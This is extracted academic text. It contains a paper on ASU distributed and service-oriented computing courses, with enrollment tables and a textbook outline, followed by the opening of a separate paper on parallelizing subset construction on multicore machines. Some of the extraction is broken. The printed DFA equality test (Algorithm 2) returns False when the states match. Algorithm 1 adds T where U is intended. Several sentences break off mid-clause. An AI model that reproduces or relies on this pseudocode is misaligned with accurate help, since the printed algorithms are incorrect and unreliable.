CSE445 and CSE446 form a sequence and are designed to teach the latest distributed computing and software integration techniques in service-oriented computing, as well as the latest technologies supporting the development of service-oriented software. The topics of CSE445 will be discussed in this section and the topics of CSE446 will be presented in the next section.
2.1 Course Objectives, Outcomes and Contents
CSE445 is the first class in our computer science program to discuss parallel and distributed software development in depth. The objectives and outcomes of a course include [18]:
1. To develop an understanding of the software engineering of programs using concurrency and synchronization, with the following outcomes: Students can identify the application, advantages, and disadvantages of concurrency, threads, and synchronization; Students can apply design principles for concurrency and synchronization; Students can design and write programs demonstrating the use of concurrency, threads, and synchronization.
2. To develop an understanding of the development of distributed software, with the following outcomes: Students can recognize alternative distributed computing paradigms and technologies; Students can identify the phases and deliverables of the software lifecycle in the development of distributed software; Students can create the required deliverables in the development of distributed software in each phase of a software lifecycle; Students understand the security and reliability attributes of distributed applications.
3. To develop an ability to design and publish services as building blocks of service-oriented applications, with the following outcomes: Students understand the role of service publication and service directories; Students can identify available services in service registries; Students can design services in a programming language and publish services for the public to use.
4. To build skills in using a current technology for developing distributed systems and applications, with the following outcomes: Students can develop distributed programs using the current technology and standards; Students can use the current framework to develop programs and Web applications using graphical user interfaces, remote services, and workflow.
CSE445 is designed to achieve the objectives and outcomes of the course. The course contents are organized in six units:
1. Introduction to Parallel and Distributed Computing: This unit gives an overview of the area and the main topics to be discussed in the course. It covers parallel and distributed computing paradigm, distributed software architecture, design patterns, concepts of service-oriented architecture, service-oriented computing, and service-oriented software development.
2. Parallel and Distributed Computing with Multithreading: This unit covers the fundamental issues in parallel distributed computing, including critical operations, synchronization, resource locking versus unbreakable operations, semaphore, events and event coordination, and event-driven distributed computing in Web environment. As a part of our parallel computing initiative [24], we also cover the performance issues of multithreading and distributed computing under the multi-core architecture support [25].
3. Essentials in Service-Oriented distributed Software Development: This unit covers the essential components and gives a quick start of developing distributed software, including development environments, service-oriented computing standards and interfaces, developing services as service providers, understanding service brokers, discovering and publishing services in service brokers, and developing service clients consuming services.
4. XML Data Representation and Processing: This unit discusses XML and related technologies supporting including XML fundamentals, XML data processing in SAX, DOM, and XPath models, XML type definition and schema, XML validation, and XML Stylesheet language.
5. Web Application and Web Data Management: This unit elaborates the development of Web applications distributed in different service providers. It covers the models of Web applications, structure of Web applications, state management in Web applications. Database and caching support to Web application state management are discussed in the next course, as a tradeoff between the materials in the sequence of two courses. This unit also covers dynamic graphics generation to leverage the presentation of Web applications at the programming level.
6. Dependability of Web Software: Dependability, including reliability and security, is a more important issue in Web applications than that in desktop applications. In addition to present essential issues in dependability design of Web applications, this unit also designs and implements the security mechanisms that safeguard the Web applications.
2.2 Sample Projects
In each of the main topics, a project is given. In this section we present the project for two of the topics.
In the multithreading part of the course, Intel’s Thread Building Blocks (TBB) are discussed in class for server application design. TBB provides a straightforward way of introducing performance
threading, by turning synchronous calls into asynchronous calls and converting large methods (threads) into smaller ones. To demonstrate the performance impact, a program that validates the Collatz conjecture has been used to evaluate the performance in a single core up through 32 cores using Intel Manycore Testing Lab (MTL). Figure 3 shows the measured speed-up and the usage efficiency for 4, 8, 16, and 32 cores with respect to a single core.

In the final project, students will develop a working Web application and deploy the application into a Web server for public access. Figure 4 shows a sample project, where students must develop both the client and the provider. From the client side, an end user applies for an account by submitting necessary information. The provider issues a user ID if the application is approved. Using the ID, the end user can create password and then access the system.

The project involves GUI design at the presentation layer, programming at business logic layer, and data manipulation and storage at data management.
### 2.3 ACM CS Curriculum Compliance
All ASU classes are designed based on ACM CS curriculum. This course covers the ACM CS topics listed in Tables 1, 2, and 3, which relate the topics to the Learning Objectives in Bloom's Taxonomy and their learning outcomes in programming, algorithm, and cross cutting and advanced topics, respectively.
Currently, many of the topics we teach in this course are listed in cross the category of cutting and advanced topics. We believe these topics will be considered standard contents in near future.
In the Tables 1 through 3, the Bloom's Taxonomy abbreviations are: Knowledge (K), Comprehension (C), and Application (A).
#### Table 1. ACM CS Programming topics
<table>
<thead>
<tr>
<th>Topics</th>
<th>Bloom #</th>
<th>Learning Outcome</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client Server</td>
<td>C</td>
<td>Know notions of invoking and providing services (e.g., RPC, RMI, web services) - understand these as concurrent processes.</td>
</tr>
<tr>
<td>Task/thread spawning</td>
<td>A</td>
<td>Be able to write correct programs with threads, synchronize (fork-join, producer/consumer, etc.), use dynamic threads (in number and possibly recursively) thread creation - (e.g. pthreads, CILK, JAVA threads, etc.).</td>
</tr>
<tr>
<td>Libraries</td>
<td>A</td>
<td>Know one in detail, and know of the existence of some other example libraries such as Pthreads, Pfunc, Intel's TBB (Thread building blocks), Microsoft's TPL (Task Parallel Library), etc.</td>
</tr>
<tr>
<td>Tasks and threads</td>
<td>K</td>
<td>Know the relationship between number of tasks/threads/processes and processors/cores for performance and impact of context switching on performance</td>
</tr>
<tr>
<td>Synchronization</td>
<td>A</td>
<td>Be able to write shared memory programs with critical regions, producer-consumer, and get speedup; know the notions of mechanism for concurrency (monitors, semaphores, … - [from ACM 2008])</td>
</tr>
<tr>
<td>Performance metrics</td>
<td>C</td>
<td>Know the basic definitions of performance metrics (speedup, efficiency, work, cost), Amdahl’s law; know the notions of scalability</td>
</tr>
</tbody>
</table>
#### Table 2. Algorithms topics
<table>
<thead>
<tr>
<th>Topics</th>
<th>Bloom #</th>
<th>Learning Outcome</th>
</tr>
</thead>
<tbody>
<tr>
<td>Speedup</td>
<td>C</td>
<td>Use parallelism either to solve same problem faster or to solve larger problem in same time</td>
</tr>
<tr>
<td>Scalability in algorithms and architectures</td>
<td>K</td>
<td>Understand that more processors does not always mean faster execution, e.g. inherent sequentiality of algorithmic structure, DAG representation with a sequential spine</td>
</tr>
<tr>
<td>Dependencies</td>
<td>K, A</td>
<td>Understand the impact of dependencies and be able to define data dependencies in Web caching applications</td>
</tr>
</tbody>
</table>
Table 3. Cross cutting and advanced topics
<table>
<thead>
<tr>
<th>Topics</th>
<th>Bloom #</th>
<th>Learning Outcome</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cloud</td>
<td>K</td>
<td>Know that both are shared distributed resources - cloud is distinguished by on-demand, virtualized, service-oriented software and hardware resources</td>
</tr>
<tr>
<td>P2P</td>
<td>K</td>
<td>Server and client roles of nodes with distributed data</td>
</tr>
<tr>
<td>Security in Distributed System</td>
<td>K</td>
<td>Know that distributed systems are more vulnerable to privacy and security threats; distributed attacks modes; inherent tension between privacy and security</td>
</tr>
<tr>
<td>Web services</td>
<td>A</td>
<td>Be able to develop Web services and service clients to invoke services</td>
</tr>
</tbody>
</table>
As the domain is new, no existing textbooks adequately cover these materials. There are books that cover the concepts and principles well, but they do not discuss the development of operational software. There are books that focus on service-oriented software development. Those books are mostly platform-based and do not associate the concepts and principles to the software in development. We have developed a textbook to facilitate this course, which consists of detailed explanation of concepts, using examples to illustrate each key concept, and using case studies to link multiple concepts together and to provide working examples. Part I of the text [8] is dedicated to teach this course. Assignments and projects are given at the end of each chapter.
Students taking CSE445 are expected to have good programming background in an object-oriented programming language such as C++, Java, or C#, and basic software engineering background. All development tasks are language-based either in Java or in C#, including multithreading software development, Web service development, and Web application development. In contrast, the next course, CSE446, will focus more on the software composition and integration using existing services and components.
**Evaluation plan:** A number of assignments are assigned. In the multithreading programming assignment, students will test their program in both single core and multicore environments. Students will also revise the program using Intel’s TBB library and measure the speed-up. In the service hosting assignment, students will explore parallelism on the server side and determine the performance improvement based on the service model and the multicore efficiency.
IV. SOFTWARE INTEGRATION AND ENGINEERING
CSE446 (Software Integration and Engineering) course is built on the basic concepts and principles discussed in CSE445, yet they do not rely on the detail of CSE445. If both courses are offered, CSE445 should be offered before CSE446. However, with a review of the basic concepts and preparation in XML, this course can be taught independent of CSE445. CSE446 emphasizes software composition and integration using existing services and components. The approach is based on higher-level of data management and application building techniques. The objectives and outcomes of the course are [19]:
1. To understand software architecture and software process, with outcomes: Students understand the requirement and specification process in problem solving; Students understand software life cycle and process management; Students can identify advantages and disadvantages of software architectures and their trade-offs in different applications.
2. To understand and apply composition approach in software development: Students can apply software architecture to guide software development in the problem solving process; Students understand interface requirement of software services; Students can compose software based on interfaces of services and components; Students can develop software system using different composition methods and tools.
3. To understand and apply data and information integration in software development: Students can compose software systems using different data resources in different data formats; Students can integrate application logic with different databases; Students can apply the entire software life cycle to develop working software systems. CSE446 is designed to achieve the objectives and outcomes of course. The course materials are organized in seven units.
1. Distributed Application Architecture
2. Advanced Architecture-Driven Application Development
3. Enterprise Software Development and Integration
4. Event-Driven Architecture and Applications
5. Interfacing Service-Oriented Software with Databases and Big Data analysis
6. Ontology and Semantic Web
7. Cloud Computing and Software as a Service
Cloud computing is a key unit in the course, as it is the latest technology that all the major computing companies and governments are supporting and utilizing. In the U.S. Federal Cloud Computing Strategy, published in 2011, Vivek Kundra, the U.S. Chief Information Officer, planned to spend $20 billion of the entire government’s $80 billion IT budget in cloud computing [22].
Another highlight of the course is of teaching the workflow-based software development, which turns the dream of generating executable directly from the
The purpose of SOC is to improve the quality and productivity of software and application development. It can succeed only if a large repository of services is available. Ideally, all services developed by all corporations and by individuals will be open to the public in public directories and repositories. The current situations are:
- **Private Services**: Many corporations, for example, IBM and SAP, keep their repositories private for internal use only. These services will not be available for education purposes.
- **Paid Services**: Many corporations, for example, Amazon Web Services, offer commercial services and subscription and payments are required. It is obviously correct and necessary for the application holders to pay for the services they use, in order to reflect the value of the services and the entire service-oriented computing paradigm, as well as maintain the service agreement between the service providers and service clients. However, such services are not useful for education purposes, as we cannot ask students to use these services to build their course projects, although many of our students paid for the services in order to develop better assignment projects.
- **Free public services**: There are a number of service directories where free public services are listed, including Xmethods.net, Webservicex.net, and remotemethods.com. Google and Microsoft offer free services and APIs in a number of areas in search and map services. Free public services are great resources for education purposes, which are the main sources our students use to develop their applications. There are several problems with the free public services.
- The number of services and the range of services are limited.
- The performance of some of the services is not adequate. The services are too slow to use (frequent timeout when many students are accessing). The situation occurs particularly before an assignment is due and a large number of students are accessing the free services.
- The availability, reliability, and maintainability are not warranted. Services are often offline or be removed without notice. Service interfaces and implementations can be modified too.
To reduce the possible problems, we have developed a repository of our own at:
http://venus.eas.asu.edu/WSRepository/
This repository complements the free public services in several ways. We develop services according the need of the course and its assignments. The source code of the services and applications are open and explained as examples in the text [8]. The services and applications include simple function services that illustrate the development process, for example, encryption and decryption services, access control services, random number guessing game services, random string (strong password) generation services, dynamic image generation services, random string image (image verifier) service, caching services, shopping cart services, messaging buffer services, and mortgage application/approval services. The services are implemented in multiple formats, including ASP.Net services, Windows Communication Foundation services, RESTful services, and Work Flow services. All the services are free and open to the public. We maintain the server to keep the high availability and reliability of the services.
We also developed a service directory that lists services offered by other service directories and repositories using a service crawler that discovers available services online. The service directory can be accessed through a service engine at: http://venus.eas.asu.edu/sse/. We also offered a registration page for anyone to list their services into the service directory. The registration is at:
http://venus.eas.asu.edu/sse/ServiceRegister.aspx
### VI. The Textbook
As we discussed in the previous sections, a textbook is necessary to support these new courses and is developed that summarizes the main contents of the four courses in SOA, SOC, SOD, and cloud computing [8]. Three editions have been published, and the fourth edition of the book to be printed in fall 2014 has the following chapters, which are organized in three parts for the three courses.
Part I Distributed Service-Oriented Software Development and Web Data Management
Chapter 1 Introduction to Distributed Service-Oriented Computing
Chapter 2 Distributed Computing with Multithreading
Chapter 3 Essentials in Service-Oriented Software Development
Chapter 4 XML Data Representation and Processing
Chapter 5 Web Application and State Management
Chapter 6 Dependability of Service-Oriented Software
Part II Advanced Service-Oriented Computing and System Integration
Chapter 7 Advanced Services and Architecture-Driven Application Development
Chapter 8 Enterprise Software Development and Integration
Chapter 9 Internet of Things and Robot as a Service
Chapter 10 Interfacing Service-Oriented Software with Databases
Chapter 11 Big Data Systems and Ontology
Chapter 12 Service-Oriented Application Architecture
Chapter 13 A Mini Walkthrough of Service-Oriented Software Development
Chapter 14 Cloud Computing and Software as a Service
Part I of the text is used for CSE445. Part II is used for CSE446. The book has been translated into Chinese and is used in multiple universities in China [8].
VII. Enrollment and Evaluation
CSE445 was redesigned in Fall 2006 to reflect the new development paradigm in distributed software development. CSE445 was named Distributed Computing with Java and CORBA. The course was renamed to Distributed Software Development and the contents are changed to base on service-oriented computing, as discussed in the previous section. CSE445 is required for Software Engineering concentration, which is a part of CS program. There are about 50 students are enrolled in SE concentration. CS and CSE students can take CSE445 as a credit elective. CSE445 is also listed as CSE598 as an elective of graduate students. The enrollment numbers of CSE445/598 are given in Table 4.
Figure 5 plots the data, which visualize the enrollment in of CSE445 and CSE598. Both sections show significant increases from 2006 to 2014. The combined enrollment has increased from 39 in Fall 2006 to 134 in Fall 2013.
Course evaluation is done at the end of the course by all students. Table 5 shows the average scores of CSE445/598 (Distributed Software Development) since Fall 2006. The scores are out of 5.0, where 5.0 is very good, 4.0 is good, 3.0 is fair, and 2.0 is poor. Students are and excited of learning the latest computing theories and practice before they enter the job market.
<table>
<thead>
<tr>
<th>Year</th>
<th>Semester</th>
<th>445 enrollment</th>
<th>598 enrollment</th>
<th>Enrollment total</th>
</tr>
</thead>
<tbody>
<tr>
<td>2006</td>
<td>Fall</td>
<td>25</td>
<td>14</td>
<td>39</td>
</tr>
<tr>
<td>2007</td>
<td>Spring</td>
<td>16</td>
<td>16</td>
<td>32</td>
</tr>
<tr>
<td>2007</td>
<td>Fall</td>
<td>24</td>
<td>21</td>
<td>45</td>
</tr>
<tr>
<td>2008</td>
<td>Spring</td>
<td>39</td>
<td>8</td>
<td>47</td>
</tr>
<tr>
<td>2008</td>
<td>Fall</td>
<td>35</td>
<td>23</td>
<td>58</td>
</tr>
<tr>
<td>2009</td>
<td>Spring</td>
<td>38</td>
<td>13</td>
<td>51</td>
</tr>
<tr>
<td>2009</td>
<td>Fall</td>
<td>33</td>
<td>10</td>
<td>45</td>
</tr>
<tr>
<td>2010</td>
<td>Spring</td>
<td>38</td>
<td>22</td>
<td>60</td>
</tr>
<tr>
<td>2010</td>
<td>Fall</td>
<td>42</td>
<td>34</td>
<td>76</td>
</tr>
<tr>
<td>2011</td>
<td>Spring</td>
<td>50</td>
<td>20</td>
<td>70</td>
</tr>
<tr>
<td>2011</td>
<td>Fall</td>
<td>30</td>
<td>52</td>
<td>82</td>
</tr>
<tr>
<td>2012</td>
<td>Spring</td>
<td>52</td>
<td>15</td>
<td>67</td>
</tr>
<tr>
<td>2012</td>
<td>Fall</td>
<td>42</td>
<td>35</td>
<td>77</td>
</tr>
<tr>
<td>2013</td>
<td>Spring</td>
<td>55</td>
<td>38</td>
<td>93</td>
</tr>
<tr>
<td>2013</td>
<td>Fall</td>
<td>44</td>
<td>90</td>
<td>134</td>
</tr>
<tr>
<td>2014</td>
<td>Spring</td>
<td>50</td>
<td>62</td>
<td>112</td>
</tr>
</tbody>
</table>
Based on the feedbacks from students, a follow up class of CSE445/598 class has been designed and pilot-taught in summer 2010 and summer 2011, with 20 students enrolled in both sections. The new course CSE446/598 has been approved as a required course for the Software Engineering Concentration from Spring 2012, which has the same status as CSE445/598. As CSE445 is the prerequisite of
CSE446, the enrollment number of CSE446/598 is slightly lower than CSE445/598
VIII. CONCLUSIONS
The paper presented three parallel and distributed computing courses in the CS curriculum at the Arizona State University. CSE101 and CSE445 have been included in the curriculum since 2006, while CSE446 was added in 2011. For all the major concepts and topics in the courses, working examples are given to make sure that students not only understand the concepts and principles, but also how to implement the concepts and principles in operational software. Application deployment into a Web server is emphasized in CSE445 and CSE446, as it is not covered in other software development courses. The increase in the enrollment of the courses as well as the feedbacks from students show that these courses improved our curriculum and are well received by students. Resources are created and made available for other universities to adopt.
REFERENCES
|
{"Source-Url": "https://pdfs.semanticscholar.org/1a36/4342f218db6614a1330752176365492ac2ec.pdf", "len_cl100k_base": 6822, "olmocr-version": "0.1.49", "pdf-total-pages": 8, "total-fallback-pages": 0, "total-input-tokens": 27773, "total-output-tokens": 8358, "length": "2e12", "weborganizer": {"__label__adult": 0.0007181167602539062, "__label__art_design": 0.00104522705078125, "__label__crime_law": 0.0006303787231445312, "__label__education_jobs": 0.06427001953125, "__label__entertainment": 0.0001678466796875, "__label__fashion_beauty": 0.0004189014434814453, "__label__finance_business": 0.0005803108215332031, "__label__food_dining": 0.0008087158203125, "__label__games": 0.0010194778442382812, "__label__hardware": 0.0018472671508789065, "__label__health": 0.0011653900146484375, "__label__history": 0.0007424354553222656, "__label__home_hobbies": 0.0002841949462890625, "__label__industrial": 0.0010280609130859375, "__label__literature": 0.0008645057678222656, "__label__politics": 0.0005068778991699219, "__label__religion": 0.0011873245239257812, "__label__science_tech": 0.055816650390625, "__label__social_life": 0.00036215782165527344, "__label__software": 0.0092926025390625, "__label__software_dev": 0.8544921875, "__label__sports_fitness": 0.0006022453308105469, "__label__transportation": 0.0015163421630859375, "__label__travel": 0.00046133995056152344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36836, 0.03637]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36836, 0.52196]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36836, 0.90743]], "google_gemma-3-12b-it_contains_pii": [[0, 4847, false], [4847, 8603, null], [8603, 13923, null], [13923, 17976, null], [17976, 23364, null], [23364, 27561, null], [27561, 31692, null], [31692, 36836, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4847, true], [4847, 8603, null], [8603, 13923, null], [13923, 17976, null], [17976, 23364, null], [23364, 27561, null], [27561, 31692, null], [31692, 36836, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36836, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36836, null]], "pdf_page_numbers": [[0, 4847, 1], [4847, 8603, 2], [8603, 13923, 3], [13923, 17976, 4], [17976, 23364, 5], [23364, 27561, 6], [27561, 31692, 7], [31692, 36836, 8]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36836, 0.2067]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
24ed12301ed3ad2f6bafcbd0e1b0fbf5095b18e9
|
Non-blocking Parallel Subset Construction on Shared-memory Multicore Architectures
Hyewon Choi
Bernd Burgstaller
Department of Computer Science
Yonsei University
Seoul, Korea
xizsmin@yonsei.ac.kr, bburg@cs.yonsei.ac.kr
Abstract
We discuss ways to effectively parallelize the subset construction algorithm, which is used to convert non-deterministic finite automata (NFAs) to deterministic finite automata (DFAs). This conversion is at the heart of string pattern matching based on regular expressions and thus has many applications in text processing, compilers, scripting languages and web browsers, security and more recently also with DNA sequence analysis. We discuss sources of parallelism in the sequential algorithm and their profitability on shared-memory multicore architectures. Our NFA and DFA data-structures are designed to improve scalability and keep communication and synchronization overhead to a minimum. We present three different ways for synchronization; the performance of our non-blocking synchronization based on a compare-and-swap (CAS) primitive compares favorably to a lock-based approach. We consider structural NFA properties and their relationship to scalability on highly-parallel multicore architectures. We demonstrate the efficiency of our parallel subset construction algorithm through several benchmarks run on a 4-CPU (40 cores) node of the Intel Manycore Testing Lab. Achieved speedups are up to a factor of 32x with 40 cores.
Keywords: Subset construction, shared-memory multicore architectures, non-blocking synchronization, concurrent data-structures
1 Introduction
The subset construction algorithm converts an NFA to the corresponding DFA. Subset construction is frequently applied with string pattern matching based on regular expressions. A standard technique to match a regular expression on an input text is to convert the regular expression to an NFA using Thompson’s construction, perform subset construction to derive a DFA, and minimize the DFA. The DFA is then run on the input text. If the DFA accepts its input, the input is known to be matched by the regular expression. This method has been described by Aho et al. (1986).
With multicores becoming the predominant computer architecture, it is desirable to parallelize the subset construction algorithm. Although algorithms for DFA state minimization and DFA matching (discussed in Section 7) exist, to the best of our knowledge this is the first attempt to parallelize subset construction.
We parallelize subset construction for shared-memory multicore architectures. We analyze the different potential sources of parallelism contained in the sequential subset construction algorithm and compare their profitabilities. We devise an efficient parallel version of the subset construction algorithm, which guarantees load-balance and provides good scalability. We state the data-structures devised for the parallelization, which help improve the efficiency of the operations performed on shared-memory multicore architectures.
To ensure correctness of the algorithm while not compromising on parallelism, we developed efficient synchronization methods. The performance of our non-blocking synchronization based on a CAS primitive compares favorably to a lock-based approach. We consider structural NFA properties and their relationship to scalability on highly-parallel multicore architectures. We demonstrate the efficiency of our parallel subset construction algorithm through several benchmarks run on a 4-CPU (40 cores) node of the Intel Manycore Testing Lab (accessed Aug. 2012).
This paper is organized as follows. In Section 2, we present sequential subset construction and related background material. In Section 3, we identify potential sources of parallelism and their profitability in the sequential subset construction algorithm. In Section 4 we introduce the algorithm’s data-structures for supporting scalability on shared-memory multicore architectures. Section 5 discusses synchronization and the algorithm’s termination condition. Section 6 provides our experimental results. We discuss the related work in Section 7 and draw our conclusions in Section 8.
2 Background
Let $\Sigma$ denote a finite alphabet of characters and $\Sigma^*$ denote the set of all strings over $\Sigma$. Cardinality $|\Sigma|$ denotes the number of characters in $\Sigma$. A language over $\Sigma$ is any subset of $\Sigma^*$. The symbol $\emptyset$ denotes...
the empty language and the symbol $\epsilon$ denotes the null string. A finite automaton $A$ is specified by a tuple $(Q, \Sigma, \delta, q_0, F)$, where $Q$ is a finite set of states, $\Sigma$ is an input alphabet, $\delta : Q \times \Sigma \to 2^Q$ is a transition function, $q_0 \in Q$ is the start state and $F \subseteq Q$ is a set of final states. We define $A$ to be a DFA if $\delta$ is a transition function of $Q \times \Sigma \to Q$ and $\delta(q, a)$ is a singleton set for any $q \in Q$ and $a \in \Sigma$. Otherwise, it is classified as an NFA. Let $|Q|$ be the number of states in $Q$. By the density of an automaton, we denote the ratio of the number of transitions in a given NFA to the number of transitions of a fully connected DFA of the same number of states and symbols (Leslie 1995). For a comprehensive background on automata theory we refer to (Hopcroft & Ullman 1979, Wood 1987).
2.1 Sequential Subset Construction
Algorithm 1 depicts the sequential subset construction algorithm from Hopcroft & Ullman (1979). Figure 1 depicts a sample NFA and the DFA computed by the subset construction algorithm. To begin with, we get the start state derived from $s_0$ of the NFA. i.e., we take $S_0 = \epsilon$-closure($s_0$) first. Then we compute $\epsilon$-closure($Move(s_0, \sigma)$) for each $\sigma \in \Sigma$. If we get several states at once as a result of the computation, we make a set with them and treat it as a single DFA state. For a single DFA state $T$, we find all the states which can be reached by each $\sigma \in \Sigma$ from all the elements of $T$. Then we compute $\epsilon$-closures for the results, and this creates a new DFA state. If this DFA state has not been appeared before, we add it to the DFA table. This process is iterated until no more DFA states are added.
To determine the time complexity for this algorithm, we consider the complexity of computing $\epsilon$-closure($s_0$) first. Because $s_0$ may have $(|Q| - 1)$ $\epsilon$-transitions, we conclude that computing $\epsilon$-closure($s_0$) takes $O(|Q| - 1)$. Then the process without set equality test is computed with an $O(|\Sigma| \times |Q| \times (|Q| - 1) \times (2^{|Q|} - 1))$ time complexity. Now what we have to do is finding the factors which can be parallelized to reduce the complexity. We discuss the details in the following section.
Figure 1: An example NFA (above), and its DFA converted through subset construction (below). DFA state $q_0$ represents NFA states $s_0$ and $s_1$, while DFA state $q_1$ represents NFA states $s_0$, $s_1$ and $s_2$.
<table>
<thead>
<tr>
<th>Algorithm 1: Sequential Subset Construction</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Input</strong>: NFA</td>
</tr>
<tr>
<td><strong>Output</strong>: DFA states $Dstates$, DFA transition function $\delta$</td>
</tr>
<tr>
<td>1 $Dstates \leftarrow {}$;</td>
</tr>
<tr>
<td>2 Add $\epsilon$-closure($s_0$) as an unmarked DFA state to $Dstates$;</td>
</tr>
<tr>
<td>3 while there is an unmarked state $T$ in $Dstates$ do</td>
</tr>
<tr>
<td>4 mark $T$;</td>
</tr>
<tr>
<td>5 for each $\sigma \in \Sigma$ do</td>
</tr>
<tr>
<td>6 $U \leftarrow \epsilon$-closure($Move(T, \sigma)$);</td>
</tr>
<tr>
<td>7 if $U \notin Dstates$ then</td>
</tr>
<tr>
<td>8 add $T$ as an unmarked DFA state to $Dstates$;</td>
</tr>
<tr>
<td>9 $\delta[T, \sigma] \leftarrow U$;</td>
</tr>
</tbody>
</table>
3 Potential Sources of Parallelism With Sequential Subset Construction
In this section we identify sources of parallelism and their profitability with the sequential subset construction algorithm.
**Source 1**: The first opportunity for parallelization is on symbols $\sigma \in \Sigma$ (line 5 in Algorithm 1). Hence, this method is a task parallelization. After checking if there exists an unmarked state $T$ in $Dstates$, what we have to do is taking its $\epsilon$-closure($Move(T, \sigma)$) for each $\sigma \in \Sigma$, which is described in line 6 to line 9 of Algorithm 1. With the sequential version, this part must be computed $|\Sigma|$ times, i.e., for each $\sigma \in \Sigma$. However, because there is no dependency upon symbols, we may partition the symbols in $\Sigma$ among the available processors to be processed in parallel. Thus, the time complexity becomes
$$O\left(\frac{|\Sigma|}{p} \times |Q| \times (|Q| - 1) \times (2^{|Q|} - 1)\right).$$
**Source 2**: The second opportunity is parallelizing the outer while-loop (line 3) of the sequential algorithm. Until the algorithm terminates, $Dstates$ has at least one DFA state at the beginning of every iteration. Thus, for every iteration we partition the states in $Dstates$ among processors to parallelize the algorithm. This requires each processor to deal with the steps from line 4 to 9. A step for counting the number of unmarked states in $Dstates$
must be added right after entering the while loop. The result is used for determining the number of to-be-processed DFA states for each processor. For marking that follows after distribution, we should allow all processors to access \textit{Dstates}. Time complexity for this algorithm becomes
\[ O(|\Sigma| \times |Q| \times ((|Q| - 1) \times \left\lceil \frac{2|Q| - 1}{p} \right\rceil). \]
**Source 3:** To exploit the final source of parallelism, we split a DFA state across its contained NFA states right after marking. The processors take the work described in line 5 through 9 in Algorithm 1. It should be noted that now processors work with the elements of a single DFA state (i.e., NFA states), not several DFA states. The granularity of concurrent computations is thus smaller than with Source 2. The partitioning of NFA states of an unmarked DFA state is conducted after we mark the unmarked DFA state. The work from line 5 to 8 is done in exactly the same way as the sequential version. Adding the result to a DFA state however, can be done in two different ways: we may let each worker thread add its NFA states to the DFA state, or have a dedicated master collect NFA states found by the workers and add them to the DFA state. Now it follows that the time complexity becomes
\[ O(|\Sigma| \times \left\lceil \frac{|Q|}{p} \right\rceil \times (|Q| - 1) \times (2^{|Q|} - 1)). \]
### 3.1 Profitability of Each Parallelism Source
Unfortunately, not all the suggested methods are equally profitable. Throughout our evaluated benchmarks (see also Section 6), we have found that the second and third opportunities are less effective than the first one (parallelizing on symbols). This phenomenon is caused by the following drawbacks of those two methods. To get a noticeable performance improvement by parallelizing the \textit{Dstates}, it should be guaranteed that the number of DFA states at a certain moment is large enough. However, this number changes dynamically and cannot be known in advance. Even worse, larger automata sizes do not guarantee a larger number of \textit{Dstates} at each point in time. Thus, even for large NFAs, a substantial performance gain cannot be expected: this observation implies that this algorithm would not be very useful in real situations.
In the case of parallelizing the NFA states of a DFA state, we need to collect the results from all the worker threads to construct a complete DFA state. For this work, the amount of synchronization is too high (e.g., from using barriersynchronization) which eventually caused severe performance degradation with our evaluations.
On the contrary, parallelizing the algorithm on symbols is advantageous for load balance: because the number of symbols is constant and known a-priori, a static partitioning of work among worker threads can be computed.
### 4 Data Structures for Parallel Subset Construction
We attempted to minimize overhead due to communication and synchronization between worker threads. In general, we kept data thread-local as much as possible, except for the \textit{Dstates} set, which must be updated by all worker threads to collect DFA states.
Each worker thread maintains a thread-local array of DFA states as depicted in Table 1. The union over all thread-local DFA states constitutes the elements of the \textit{Dstates} set. Similar to the sequential, deterministic state ADT by Leslie (1995), we store DFA states as linear arrays of NFA state members. The first array element of a DFA state contains the number of NFA states contained in a DFA state. Subsequent array elements represent NFA states. This representation facilitates efficient comparison of two DFA states, which is required for the set membership test (line 7 of Algorithm 1). The comparison of two DFA states is depicted in Algorithm 2.
To create new DFA states, each worker thread maintains a one-element DFA state scratch-space. Potentially new DFA states are computed by the \(c\)-closure(\textit{Move}(T, \sigma))-term in line 6 of Algorithm 1. NFA states are stored in the order of their appearance during this step. Before performing the set membership test in line 7, we sort the potentially new DFA state's NFA states in ascending order and copy the DFA state to the worker's thread-local DFA state array.
The \textit{Dstates} set is a shared data-structure represented as an array of pointers to thread-local DFA states. Adding a DFA state to the \textit{Dstates} set reduces to a single pointer update, i.e., the first (lowest-index) empty entry of \textit{Dstates} is set to point to the new DFA state. Pointers are padded up to the CPU's cache-line size to avoid false sharing of cache-lines (see, e.g., (Lin & Snyder 2008)) that would otherwise occur if worker threads update adjacent array elements.
**Algorithm 2:** DFA State Equality Test
\begin{verbatim}
Input : 1D-array Dstate1, Dstate2
Output: True (if identical), False otherwise
1 for i = 0 to Dstate1.length do
2 if Dstate1[i] = Dstate2[i] then
3 return False;
4 return True;
\end{verbatim}
The \textit{Dstates} set needs to maintain the following properties:
- The whole \textit{Dstates} array is accessible by all worker threads.
- For the DFA states pointed by an entry of \textit{Dstates}, duplication (entering a duplicate DFA state into \textit{Dstates}) is not allowed.
\begin{table}[h]
\centering
\begin{tabular}{|c|c|c|c|c|c|}
\hline
5 & 1 & 4 & 9 & \cdots \\
\hline
2 & 0 & 3 & \cdots \\
\hline
